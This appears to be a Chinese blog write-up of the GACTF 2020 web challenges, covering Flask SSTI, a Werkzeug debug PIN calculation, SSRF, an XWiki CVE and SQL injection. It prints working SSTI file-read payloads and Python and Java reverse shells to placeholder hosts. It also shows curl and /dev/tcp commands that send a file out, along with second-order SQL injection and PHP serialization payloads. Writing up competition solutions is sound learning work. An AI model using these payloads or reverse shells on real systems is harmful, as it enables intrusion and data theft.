GACTF 2020 Web Writeup | iluem'Blog

GACTF 2020 Web Writeup

发布 : 2020-09-13 分类 : Web 浏览 :

GACTF 2020 Web Writeup

simpleflask

很明显的ssti,大概过滤了

pop、%20、%09、%0a、%0d、request、'、+、import、\、|、eval、system、exec···

等等,但是可以用",报错可以看到部分源码

 if name == "":
        return render_template_string("<h1>hello world!<h1>")

    check(name)
    template = '<h1>hello {}!<h1>'.format(name)
    res = render_template_string(template)
    if "flag" in res:
        abort(500, "hacker")
    return res

试了一下可以读文件

name={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}

但是过滤了flag,最后找到一个内置函数绕过

name={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}

学习一下荣佬的做法,我直接贴代码了


http://149.28.80.82:89/

PS C:\WINDOWS\System32> curl.exe -X POST  http://124.70.153.63:80 -d 'name={{1-1}}'
<h1>hello 0!<h1>
  • id
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}

hello a8eb6cac33e701ae867269db5ce80e7f !
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}
hello 11:devices:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 10:blkio:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 9:cpuset:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 8:freezer:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 7:pids:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 6:hugetlb:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 5:net_prio,net_cls:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 4:perf_event:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 3:memory:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 2:cpuacct,cpu:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 1:name=systemd:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f !

/usr/local/lib/python3.6/dist-packages/werkzeug/debug/__init__.py 48-76

def get_machine_id():
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass

注意此题和[GYCTF2020]FlaskApp的主要区别在于/etc/machine-id存在,其他一样

linux =  get(/etc/machine-id) + get(/proc/self/cgroup) 
  • MAC

注意MAC值是会变化的

name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}
hello 02:42:ac:14:00:07 !
>>> print(int('0242ac140007',16))
2485378088967
  • username
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
hello root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin !
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["geteuid"]()}}

hello 0!
变量名 变量值
当前计算机用户名 root
modname flask.app
getattr(app, “__name__”, app.__class__.__name__) Flask
str(uuid.getnode()) a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f
get_machine_id() 2485378088970
绝对路径 /usr/local/lib/python3.7/dist-packages/flask/app.py
  • PIN - payload:
import hashlib
from itertools import chain
probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/dist-packages/flask/app.py',
]

private_bits = [
    '2485378088968',
    'a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
  • shell
>>> import os
>>> os.popen('ls /').read()
'bin\nboot\ndev\netc\nflag\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'  
>>> os.popen('cat /flag').read()
'GACTF{fac9165b6a2b5ac8bd3b99fad0619366}\n'

EZFLASK

给了app.py一部分源码


# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

eval路由下测试可以运算,大概可能是eval(‘’),但是过滤了很多,POST传递

eval=admin.__globals__

得到

{'my_eval': , 'app': , 'waf_eval': , 'admin': , 'index': , 'waf_ip': , '__builtins__': , 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': , '__package__': None, 'Flask': , 'ctf': , 'waf_path': , 'time': , '__name__': '__main__', 'requests': , '__doc__': None}

得到了admin的路由h4rdt0f1nd_9792uagcaca00qjaf,访问后发现让传递

post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path

猜测可能是拼接上去的,试着访问一下服务器,结果发现是python发的请求

image-20200830124828190

试一下ip=127.0.0.1&port=8080&path=出现hacker?,测试过后发现过滤了127.0.0.1,使用127.1.1.1127.0.1.1127.1.0.1都可以绕过

image-20200830123934495

爆破端口最后发现5000端口开放。

image-20200830125047228

看到return flask.render_template_string(hack),又回到sstiflagconfig:FLAG里,但是过滤了config,这里学习一下Mi1k7ea师傅的绕过

image-20200830125327435

因此通过

{{url_for.__globals__['current_app'].__dict__}}
{{get_flashed_messages.__globals__['current_app'].__dict__}}

即可得到flag

image-20200830125555051

参考链接

XWiki

找到一个CVE

https://jira.xwiki.org/browse/XWIKI-16960

image-20200830125911082

描述得超级详细

直接去试试

import os
print(os.popen("id").read())
print(os.popen("hostname").read())
print(os.popen("ifconfig").read())

image-20200830130545367

只返回了两个,应该是另一个被过滤了。

测试另外一个

r = Runtime.getRuntime()
proc = r.exec('id');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }

image-20200830130644857

荣佬找了一个python的反弹shell脚本,但是好像没有执行,应该是过滤了。

import os
os.popen(''' python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('yourip',yourport));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"''')

那我想着就去找一下另一个有没有反弹shell的脚本,结果真就找到了,

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

image-20200830131107740

稍作修改就能用了

image-20200830131159191

到这了我以为没有弹成功,结果我傻逼了

最后在根目录可以找到readflag但是是一个elf可执行文件。大概是一个游戏,我还傻傻地玩了好久,早知道早丢给逆向队友就好了。

一边传,另一边nc接收就好

curl ip -F "file=@/readflag" -H "token: 222" -v

nc -lvp port >readflag

不过我居然没事干在服务器端还去搞了个文件上传脚本,当然也是可行的。

这样也可

cat /readflag > /dev/tcp/ip/7777

最后逆向队友解出一串二进制字符串

01100111011000010110001101110100011001100111101101011000010101110110100101101011011010010101111101000011010101100100010101011111011101110110100101110100011010000110111101110101011101000101111101110000011001010111001001101101011010010111001101110011011010010110111101101110010111110111001101100011011100100110100101110000011101000110100101101110011001110101111101100101011110000110010101100011011101010111010001101001011011110110111000100001001000010010000101111101
def tobytes(n): #long to bytes
    return n.to_bytes((n.bit_length() + 7) // 8, 'big')
print(tobytes(int('01100111011000010110001101110100011001100111101101011000010101110110100101101011011010010101111101000011010101100100010101011111011101110110100101110100011010000110111101110101011101000101111101110000011001010111001001101101011010010111001101110011011010010110111101101110010111110111001101100011011100100110100101110000011101000110100101101110011001110101111101100101011110000110010101100011011101010111010001101001011011110110111000100001001000010010000101111101',2)))

转换一下即可得到flag

carefuleyes

class部分是2016 hitcon-babytrick改的

还是和原题一样,先得找到privilege=admin的用户名和密码

XCTFGG类的login函数中只要以admin权限账户登录就能拿到flag

image-20200830194805373

发现在rename.php的更新文件名部分存在注入

image-20200830195012309

本地环境利用

'||(updatexml(1,concat(0x7e,(select concat(username,0x7e,password)from user where privilege=0x61646d696e)),1))%23

'||(select 1 from (select count(*),concat((select concat(username,0x7e,password)from user where privilege=0x61646d696e),floor(rand(0)*2))x from information_schema.tables group by x limit 1,1)a)%23

image-20200830195159056

拿到用户名和密码

然后在upload.php页面序列化对象

image-20200830195254668

<?php

class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
   function login() {}
}
$result = serialize(new XCTFGG('login',['admin','123456789']));
var_dump($result);

#O:6:"XCTFGG":2:{s:14:"%00XCTFGG%00method";s:5:"login";s:12:"%00XCTFGG%00args";a:2:{i:0;s:5:"admin";i:1;s:9:"123456789";}}

上传测试

image-20200830195429481

结果很开心的去线上测试,失望而归

重新审计代码,最后发现有二次注入,/(ㄒoㄒ)/~~

image-20200830235611574

上传对文件名进行了addslashes过滤,但是在rename.php又进行了查询操作。

image-20200830235809117

最关键的是还有

 $info = $info->fetch_assoc();
        echo "oldfilename : ".$info['filename']." will be changed.";

将数据库中的语句插入到查询中并且将结果输出。

至于为什么会产生二次注入

image-20200831000110211

那么这标标准准的二次注入就在这儿了。

构造文件名

filename="' union (select 1,concat(username,'~',password),3,4,5 from user where privilege=0x61646d696e)-- 1.txt"

上传,filename的列数和位置可以在sql文件中找,也可以本地环境中测试。

上传成功后再rename.php页面输入原用户名即可

' union (select 1,concat(username,'~',password),3,4,5 from user where privilege=0x61646d696e)-- 1&newname=23

得到XM~qweqweqwe

image-20200831084212395

修改原来的payload再次上传+序列化即可拿到flag

O:6:"XCTFGG":2:{s:14:"%00XCTFGG%00method";s:5:"login";s:12:"%00XCTFGG%00args";a:2:{i:0;s:2:"XM";i:1;s:9:"qweqweqwe";}}

image-20200830233258763

留下足迹